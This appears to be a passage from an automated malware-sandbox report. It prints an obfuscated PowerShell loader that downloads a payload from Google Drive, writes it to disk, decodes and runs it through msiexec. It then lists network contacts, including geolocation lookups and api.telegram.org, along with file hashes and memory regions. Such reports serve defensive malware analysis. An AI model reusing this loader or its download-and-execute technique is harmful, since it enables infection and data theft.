'Hawk,uInspisaoriseLivsfRCen r-PseudAEkvilGTriioe A omnSubicTCount ';$Pigeonman=Kammerherrens 'Sammeh fordtpho at MythpKi,otsKukke:La se/Latit/Jo gldUdsknrUddaniPneumv pleteUgled. vrtg,rogloUnmacoSmaaggSnabllUndereFlanc.P.intcFarmaogarhwmNon r/ ndosuI hthcPsych?f rteeP eudxGoterp ovbeoHemmerFlaadtmatur= Tr nd Pesso lbinwPopianReuc,lTr nsoRepara veksdLysts& Fan,iHassedParaf=Mycor1MayflwDiamexOv rbs ChlocDechexKnst.yAr hr0Dem.mmUnd rH Disshro kl3rverbwBet,nm A loXHydro0MistakGunteiUdskn0Pus eQLytteI ,ortn MargsRetteNBlastjdis o- CowbTAvisiGsen ajKonse7CitadOTokro3SkrueLclin. ';$Groundplot=Kammerherrens 'Yucke>Unind ';$Interfirm=Kammerherrens 'NonseIunexie,emilX eena ';$Generalpauses='Mandants';$Retfrdigt='\Deponeringen.Fer';tugtelsen (Kammerherrens 'Tredj$.tatuG sammLE,tabOJagttb FlagAP,pcoL Ro e:ProcesGenercForpaU TratLHaft L SkibdCoriau TeleGOvermg rgaEcoun RP,astYAcule=C nte$UkvinEV.derN.enatV Hres: MineARedosP acriPLandsDSoldrAUnexptSamfuasubst+Tumli$SomalRHa tuE.ndskt SkalFUnparR.arboDspadeiAnti g UrydT edig ');tugtelsen (Kammerherrens ' spec$ H adgMiskmlShamboPlatibEfforABlundl .qua:Foi lrOut reOverpS elinOGenfdCFrancIGrunda KonkLprcisITerbaS Geu,EgaloiR BordiRkenln EctrGF nboSSkyggIRe,renlagris PertTR gioIConnotPreprulouchtBorgmIB ccioBeginN ,uleeOve hrsofis= ndby$Kjol,P SkiliSepargSkr nENy tiOSbe,pNHestemk,eskaTopdeNOph,v.Sal.oSUnderPEk,isLCompeiSta aTSpydi(Varet$PlastgNeu oR Fon OI,speuOpspoNDiesed Insip CineL WondOHandet Dr,g)R,ght ');tugtelsen (Kammerherrens $Usystematisk);$Pigeonman=$Resocialiseringsinstitutioner[0];$Lithophane=(Kammerherrens ' Vels$ CommgButleL FaviOValgmbAfsynAGens l krt:Jyskho Li ivLipocE pendR B rgrSamleoGrshoSVanmde Wo,d=KogejnO ddeEBarnewTndem-An ono De ibSamlsJ jruleTillaCIndkrtOct h SpkkeS,nthoyBekenSFeodcTBordaeBlousm Semi.SqueanCoasse PresT East.RdsptwHu oreMartab Jrl,CMisrelKoinciReedieSubgaNtab lTVakte ');tugtelsen ($Lithophane);tugtelsen (Kammerherrens 'Teltp$Mon poSpirkvKompoe RomerDy,trr UndeoAngeys iceneImmer.I disH Bio.e etca ndeldconice Hoydr f,nds olon[Lyren$HorriT,vninaHex,spantikpShelveforeisTillit TolleModerdHidfr] ract=Afpas$ExsciC CladoMykollBunkeoTidsssFuttosNeut u moebsNonunecomprsFo,fr ');$Resorberbart=Kammerherrens ' nste$Udd toDedecv EibreKa pdrSep lr FiksoPlagos Rente tder. SkulD Jor o d mowN ndin kslilInst.oTi ska,enefdletmeFReinai Re ilT.gkoeSelv (Under$NyhedP C spiEx itgontoleA tivo OpsanSvensmForstaUrssfn Semi,Sikke$OverfUFilianKonstfhasp eSnoreuUl radDemu aPitiel ForsiBalkizPulasiSandwn Lifeg D se)R,stl ';$Unfeudalizing=$Scullduggery;tugtelsen (Kammerherrens ' Flyv$Brdebg BurnL S.atoinstab M.liAAfskalSkaal:MarkssInguitDvaskEFor arGrs nEStyrioOxygos Mid,PCanu,eStedeCStjkiiBr mdFRacemiSiouxC avre=austr(Tir cTBondee TotaSHeartTAnast-G.nocpS,rteA PlutT Snegh,hrio Un e$Soapwu Elgun D,ubf Absoe arlau CentDTungma steplUds.oIBathmzHyperit ndeN WarsGVo.it)Samme ');while (!$stereospecific) {tugtelsen (Kammerherrens 'Ur,nv$DegragD dislStylioSyphib ociaaSubtrlSande: FyriJTh omoskeblbthi ssSam ekFestbaStomab FamieAktualSu ars PropeIltins Immio ImperFizeadstemlnO nibi Biotn Li igTrkgaeeluderFra csLaryn2 Spec5Skreg4 Foru= Wha $RegretB biir lemtuRi ide stro ') ;tugtelsen $Resorberbart;tugtelsen (Kammerherrens 'StradsDisk TFlotsa SheeRFdseltlogic-Su teSDrm.elCe,ebeHesteEbagskPForv Indva4P eud ');tugtelsen (Kammerherrens 'Udsti$GillhgLefl L Outro TegnbNaptha ,iliL.arin: TippS SulpTre iseVandlrRos.nEKontaoAcumis UnrePtaintePolakcSkrydICathofT,inei Ung.cukoll= sini(BidraTMacarEGammisDyksvTKlbeh-ElectpEgenvAaureotObs.ih Shri unapp$Antrou OlennMawpuf AdanEN,urouP.ogrdTw stAMet dLGuidiIEjendZ Smooi po tNEftergMelil) lbes ') ;tugtelsen (Kammerherrens 'Compu$DeltagRudelLTanksO andlb QuelAFor,iLPropr:N ncos lgn,p chameBaskek igphUs bdal UlceA Bap.tLsseniAttenoimmigNKrokesFormuBBarfoY An iGFloorg InteE Sla RPateniarchieTrafitAdvan=Rygel$Phreng Fierl.nogloSuperbGuldsaAmi alAfson:Erhven OverUDensilKlageLSubstU Selvs Eks.+Glas.+ds gh%o.tsc$AntimRSvigteDurkiSwishfoR tioCErnriiTilbeaAnsv,lVer,rIklageSBef,reSup rRT bakIFilmiN iabegkaskasRestrIUl,kkN SilasHjemkTElec ip,ocrTRoughuBlokeT MarkInonsoOanticn DommESantorOli.f.RringcTric.OH,nsyU D wanEcc.nTMa,on ') ;$Pigeonman=$Resocialiseringsinstitutioner[$Spekulationsbyggeriet];}$Delarbejders=288762;$Tommevise=31671;tugtelsen (Kammerherrens 'Opsti$E cycGBarskLSvejfOEthnob yrogACommuLBea,w:EremiAJustiFCholeHHenbao BystLLeangDP oviEKvit N AutodDir.keWordc inter=Indis SinkeGBanalESysteTSurci-H.terCDis,uO eninnLe edtUnveneCorclNSne eTGifti Buats$EpicoUanacrnSskenF anuE ReflufluidDAntipaNyklaLsagadIForvazForski .aesnSulkyG slit ');tugtelsen (Kammerherrens 'Ejers$.orsygGe.ejlKond,o SkorbUltamaUn ullMicro: BlufGKranih azzeahofmanMedfaaSanitiInddaaPjasknHjemm Hjoer=Funkl Drun [BrnesSFinteyLoun sNjalstIllumeM nitmPosto.SingsCequatoMetalnhamlivRetireTra srDerivtSnrel]Stick: Reob:Ang.tFHig.hr SoproUncl mFi icB krteaSk alsMuddeeu.beg6Brist4TidebS CyketP nnerUddaniPermanRaptug Ma d(Storr$S,parAPaed.f P,nehCoeduoOptralAnukadPsyl e Co,nngalvadb.nkbeBesse)Stilg ');tugtelsen (Kammerherrens 'Gruel$SlbemgGlottlInteroLsretbBlideaNyde.LGipsy:PanamFOctaniS lskSCortekIronlePlatyAEtti,uI dsikRenegtQuartiHaemoosjl vnMenneeUnto nPanfiS oder Logge= A ae Kr ts[EndosSEtiopyPhytoSCeintT rkkeEBieenM.lech.FlasktPhotoEpseudXPh,lotLns m. Pr.lEk talnKilenc Sgero.ammedMicr iPile NLenarG lukn]dyref:Omnor:Pen,lA,omensMespocCatguIAncyliSats .S ikeg ivene,endeTBaselS thonTOksetRhell IRegnsnHistogFuse,( Gyps$KejseGImposHKaninan.npuNLn,dgARing iKrakiASktteNracer)Uneva ');tugtelsen (Kammerherrens ' agn$ Ca.iGRee iLvend,OH utbBMenneaUdskrl Fler:BiopsMPrin eYorkeT HispH longaCuma,n DarwAAbef T.aralEForlf= Unva$Jug efAntitiDebadsTwittKOveraE,alloA apituResidkSewerTPlectIMono OVivacnEncepeHabr NKnubssThy i.Fla kSlinguUBek,pBRovemSHondutPre aR oelviServ,nPhylag Nata( Pach$Mi.iadformaEPoserlJurymaJun,orUdbydBO twiESelvlj S irDBouriEStemmrSnekksNyhed,Fld.f$ BlenTCheckoSlamam consm AvlsELddenvnirvaIPanopsSuperEFunkt) ejli ');tugtelsen $Methanate;"

C:\Windows\SysWOW64\msiexec.exe

"C:\Windows\SysWOW64\msiexec.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 drive.google.com udp
GB 142.250.179.238:443 drive.google.com tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 142.250.187.193:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 138.201.86.20.in-addr.arpa udp
US 8.8.8.8:53 238.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 193.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 67.209.201.84.in-addr.arpa udp
GB 142.250.179.238:443 drive.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.180.3:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.180.3:80 o.pki.goog tcp
US 8.8.8.8:53 3.180.250.142.in-addr.arpa udp
GB 142.250.187.193:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 checkip.dyndns.org udp
US 193.122.130.0:80 checkip.dyndns.org tcp
US 8.8.8.8:53 reallyfreegeoip.org udp
US 104.21.67.152:443 reallyfreegeoip.org tcp
US 8.8.8.8:53 0.130.122.193.in-addr.arpa udp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 152.67.21.104.in-addr.arpa udp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 99.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp
US 8.8.8.8:53 12.173.189.20.in-addr.arpa udp

Files

memory/4500-0-0x00007FFEC52D3000-0x00007FFEC52D5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ivurhe3h.p5p.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4500-10-0x000002B20C5E0000-0x000002B20C602000-memory.dmp

memory/4500-11-0x00007FFEC52D0000-0x00007FFEC5D91000-memory.dmp

memory/4500-12-0x00007FFEC52D0000-0x00007FFEC5D91000-memory.dmp

memory/4500-15-0x00007FFEC52D3000-0x00007FFEC52D5000-memory.dmp

memory/4500-16-0x00007FFEC52D0000-0x00007FFEC5D91000-memory.dmp

memory/4500-17-0x00007FFEC52D0000-0x00007FFEC5D91000-memory.dmp

memory/4500-20-0x00007FFEC52D0000-0x00007FFEC5D91000-memory.dmp

memory/3148-21-0x0000000004F70000-0x0000000004FA6000-memory.dmp

memory/3148-22-0x00000000055E0000-0x0000000005C08000-memory.dmp

memory/3148-23-0x0000000005540000-0x0000000005562000-memory.dmp

memory/3148-24-0x0000000005D80000-0x0000000005DE6000-memory.dmp

memory/3148-25-0x0000000005DF0000-0x0000000005E56000-memory.dmp

memory/3148-35-0x0000000005F20000-0x0000000006274000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 71444def27770d9071039d005d0323b7
SHA1 cef8654e95495786ac9347494f4417819373427e
SHA256 8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9
SHA512 a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

memory/3148-37-0x0000000006510000-0x000000000652E000-memory.dmp

memory/3148-38-0x0000000006560000-0x00000000065AC000-memory.dmp

memory/3148-39-0x0000000007D70000-0x00000000083EA000-memory.dmp

memory/3148-40-0x0000000006AB0000-0x0000000006ACA000-memory.dmp

memory/3148-41-0x0000000007790000-0x0000000007826000-memory.dmp

memory/3148-42-0x0000000007720000-0x0000000007742000-memory.dmp

memory/3148-43-0x00000000089A0000-0x0000000008F44000-memory.dmp

C:\Users\Admin\AppData\Roaming\Deponeringen.Fer

MD5 f3208d704f5e24b59e212dac6f284a29
SHA1 ae174085b6b92210b8fd71f847536a48b71341f6
SHA256 039c069600de534eca395724b32810fe2e967aad0009415aa108d0a9555ab86a
SHA512 fb89a325614e4d78c6f6a617b7fa700bafbefd0a17864c2da1a75f5ec7af2c12ff61f3f3eb27164eb42a7583e0fcd001cf3b20d6a83206ade79bbff9d1d2df3f

memory/3148-45-0x0000000008F50000-0x000000000E3FE000-memory.dmp

memory/4064-54-0x0000000000FD0000-0x0000000002224000-memory.dmp

memory/4064-60-0x0000000000FD0000-0x0000000001018000-memory.dmp

memory/4064-59-0x0000000000FD0000-0x0000000002224000-memory.dmp

memory/4064-61-0x0000000025260000-0x00000000252FC000-memory.dmp

memory/4064-63-0x0000000025F90000-0x0000000026152000-memory.dmp

memory/4064-64-0x00000000256C0000-0x0000000025710000-memory.dmp

memory/4064-66-0x0000000025DC0000-0x0000000025E52000-memory.dmp

memory/4064-67-0x00000000257A0000-0x00000000257AA000-memory.dmp